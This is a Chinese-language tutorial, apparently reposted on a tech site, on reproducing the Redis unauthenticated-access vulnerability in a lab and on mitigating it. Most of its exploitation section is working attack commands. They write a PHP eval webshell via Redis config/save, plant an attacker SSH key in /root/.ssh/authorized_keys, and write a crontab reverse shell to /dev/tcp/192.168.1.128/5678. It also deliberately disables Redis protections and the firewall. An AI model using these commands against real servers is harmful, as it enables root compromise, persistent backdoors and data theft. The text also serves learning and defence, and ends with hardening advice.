• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Redis未授权访问漏洞搭建复现

武飞扬头像
karry_test
帮助1

今天我们来学习一下什么是Redis未授权访问漏洞,以及各种利用方法。

文章目录

  • 一、什么是Redis未授权访问漏洞
  • 二、Redis环境搭建
  • 三、漏洞利用
  • 四、漏洞总结
  • 五、漏洞防护

一、Redis未授权访问漏洞介绍

        Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作

产生条件

  1.  
    1.redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问,直接暴露在公网
  2.  
     
  3.  
    2.没有设置密码认证,可以远程登录redis服务

漏洞危害

  1.  
    1、攻击者可以不用认证访问到内部数据,可能导致敏感信息泄露,黑客也可以执行攻击代码清空所有数据
  2.  
     
  3.  
    2、黑客可以通过eval执行lua代码,或者通过数据备份功能往磁盘写入后门文件
  4.  
     
  5.  
    3、如果redis以root身份运行,黑客可以给root用户写入ssh公钥文件,直接通过ssh远程登录服务器。

redis常用命令

  1.  
    config set dir /home.test 设置工作目录
  2.  
     
  3.  
    config set dbfilename redis.rdb 设置备份文件名
  4.  
     
  5.  
    config get dir 检查工作目录是否设置成功
  6.  
     
  7.  
    coonfig get dbfilename 检查备份文件名是否设置成功
  8.  
     
  9.  
    save 进行备份操作

漏洞复现

  1.  
    攻击机kali:192.168.1.128
  2.  
     
  3.  
    redis 服务器:120..........
  4.  
     
  5.  
    redis服务器:192.168.1.151

redis环境安装

安装编译依赖包

  1.  
    yum -y install gcc* tcl tcl-devel
  2.  
    yum -y install make

下载redis 软件包

wget http://download.redis.io/releases/redis-6.2.4.tar.gz

编译安装redis

  1.  
    tar xzf redis-6.2.4.tar.gz
  2.  
    cd redis-6.2.4/src
  3.  
    make
  4.  
    make install PREFIX=/usr/local/redis

常用命令

安装完成后,在/usr/local/bin下面可以看到redis提供的5个命令工具,现简单介绍如下
  1.  
    redis-server:Redis服务器的daemon启动程序
  2.  
    redis-cli:Redis命令行操作工具。也可以用telnet根据其纯文本协议来操作
  3.  
    redis-benchmark:Redis性能测试工具,测试Redis在当前系统下的读写性能
  4.  
    redis-check-aof:数据修复
  5.  
    redis-check-dump:检查导出工具

修改配置文件

在源码包的根目录下面有一个默认的redis.conf文件,将其拷贝到系统的/etc目录下面

  1.  
    cp redis.conf /etc
  2.  
    vim /etc/redis.conf
  3.  
  4.  
    #bind 127.0.0.1
  5.  
    protected-mode no
  6.  
    daemonize no

打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)

# bind 127.0.0.1

Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no

daemonize no

关闭保护模式

protected-mode no

重新启动配置文件才会生效:

redis-server redis.conf(在redis.conf文件目录下执行)

关闭防火墙

systemctl stop ebtables firewalld

启动redis服务

/usr/local/redis/bin/redis-server /etc/redis.conf

将此启动脚本加入到/etc/rc.local,让其开机自启动

echo "/usr/local/bin/redis-server /etc/redis.conf " >> /etc/rc.local

关闭服务命令

redis-cli shutdown

1.写入webshell攻击

前提:root权限开启网站服务,知道绝对路径

1.1查看phpinfo();查看绝对路径

学新通

1.2访问目标redis服务,写入后门

  1.  
    redis-cli -h 120.*.*.* -p6379
  2.  
     
  3.  
    CONFIG SET dir 绝对路径
  4.  
    CONFIG SET dbfilename test.php
  5.  
    SEt x "<?php @eval($_POST[cmd]);?>"
  6.  
    save

学新通

1.3访问写入的后门,可以看到访问成功

学新通

2.利用ssh写入公钥

前提,root权限运行redis,开放了ssh,允许公钥连接

原理:就是在redis数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

2.1在kali中生成公钥和私钥

  1.  
    ssh-keygen -t rsa
  2.  
     
  3.  
    ┌──(root?kali)-[~]
  4.  
    └─# ssh-keygen -t rsa
  5.  
    Generating public/private rsa key pair.
  6.  
    Enter file in which to save the key (/root/.ssh/id_rsa):
  7.  
    Enter passphrase (empty for no passphrase):
  8.  
    Enter same passphrase again:
  9.  
    Your identification has been saved in /root/.ssh/id_rsa
  10.  
    Your public key has been saved in /root/.ssh/id_rsa.pub
  11.  
    The key fingerprint is:
  12.  
    SHA256:UgzhkW5gHV1pcx/k4SbgkgEHNr452PITGkjjsqWje9M root@kali
  13.  
    The key's randomart image is:
  14.  
    ---[RSA 3072]----
  15.  
    | .XBo.o. .o |
  16.  
    | o o*. ..o.. |
  17.  
    | o. oo =..o.. . |
  18.  
    | o o oo . o. |
  19.  
    |. .B S |
  20.  
    | = = |
  21.  
    | .. o |
  22.  
    |..o E . |
  23.  
    |oo . |
  24.  
    ----[SHA256]-----
学新通

2.2打开id_rsa.pub文件,将里面内容复制出来。

学新通

2.3连接主机

redis-cli -h 92.168.1.151 -p 6379

2.4设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,因此我们可以通过kali的ssh私钥连接目标主机

  1.  
    config set dir /root/.ssh/
  2.  
    config set dbfilename authorized_keys
  3.  
    # set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
  4.  
    save
  5.  
    quit

学新通

2.5最后ssh连接目标主机,成功获取root权限

ssh -i id_rsa root@ip

学新通

注意:如果执行完config set dir /root/.ssh/出现NO such file错误,原因有可能不是linux服务器未使用密钥登录,而可能是目标为Windows服务器,肯定就没有 /root/.ssh目录了,可以使用 config get dir或者info手机目标信息,确认操作系统。

3、利用crontab反弹shell

        原理在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

3.1、在kali攻击机192.168.1.128监听任意端口

  1.  
    ┌──(root㉿kali)-[/home/kali/桌面]
  2.  
    └─# nc -lvnp 5678
  3.  
    listening on [any] 5678 ...

学新通

3.2、连接目标redis服务,写反弹shell

  1.  
    ┌──(root㉿kali)-[/home/kali]
  2.  
    └─# redis-cli -h 192.168.1.151 -p 6379
  3.  
    192.168.1.151:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.128/5678 0>&1\n\n"
  4.  
    OK
  5.  
    192.168.1.151:6379> CONFIG SET dir /var/spool/cron/crontabs
  6.  
    OK
  7.  
    192.168.1.151:6379> config set dbfilename root
  8.  
    OK
  9.  
    192.168.1.151:6379> save
  10.  
    OK
  11.  
    192.168.1.151:6379>

这时我们查看目标的计划任务

学新通

发现写入了计划任务,但是由于乱码没有执行成功,这些乱码也就导致反弹shell失败。这是因为redis向任务计划里写内容出现乱码而导致的语法错误,是无法避免的,但是不同linux版本执行任务时可能会忽略乱码,从而执行计划任务,因此成功与否还得看目标系统

4、结合ssrf漏洞利用

因为实际中大多数redis都会配置得当,一般外网是无法对其进行访问的,只有在内网中可以对其进行访问,因此当我们发现某个网站有ssrf漏洞时,就可以利用ssrf漏洞对其或者内网端口进行扫描,当发现存在redis服务,就可以尝试进行利用

5、主从复制利用脚本攻击,因为我这里Redis版本为6以上,因此就没有利用这个方式,其实这个方式也很简单,利用脚本即可。


四、总结

当目标存在Redis未授权访问漏洞时,可以利用以下方式

利用方式 利用前提 备注
写入公钥
  • root权限运行redis
  • 开放了ssh,允许公钥连接
 
写入webshell
  • root权限运行redis
  • 知道网站根路径
 
反弹shell
  • root权限运行redis
  • 开启了计划任务
 
从主复制    redis 4.x/5.x 无需root权限启动redis,获取的权限为启动用户的权限

五、漏洞防护

*设置本机访问或者指定主机ip访问redis,修改redis.conf中的bind配置

*利用防火墙设置指定ip访问redis

*最小权限运行redis服务

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfkkfke
系列文章
更多 icon
同类精品
更多 icon
继续加载